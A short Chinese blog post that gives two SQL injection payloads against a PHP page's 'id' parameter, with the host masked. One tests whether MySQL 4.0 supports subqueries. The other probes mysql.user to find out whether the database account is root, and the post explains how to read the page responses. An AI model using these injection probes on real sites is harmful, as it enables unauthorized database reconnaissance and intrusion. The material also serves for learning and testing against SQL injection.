PHP mysql注入时两条工具语句

Posted 2020-09-20

http://***/include/web_content.php?id=589+and+(select+1)=1

这条语句是当mysql版本为4.0的时候用来判断是否支持子查询的，页面返回正确，说明支持子查询，否则不支持。

提交：

http://***/include/web_content.php?id=589+and+(select+1+from+mysql.user+limit+0,1)=1

这条语句是用来判断mysql的当前登录账户是不是root的，如果页面返回正确，则为root，否则不是root。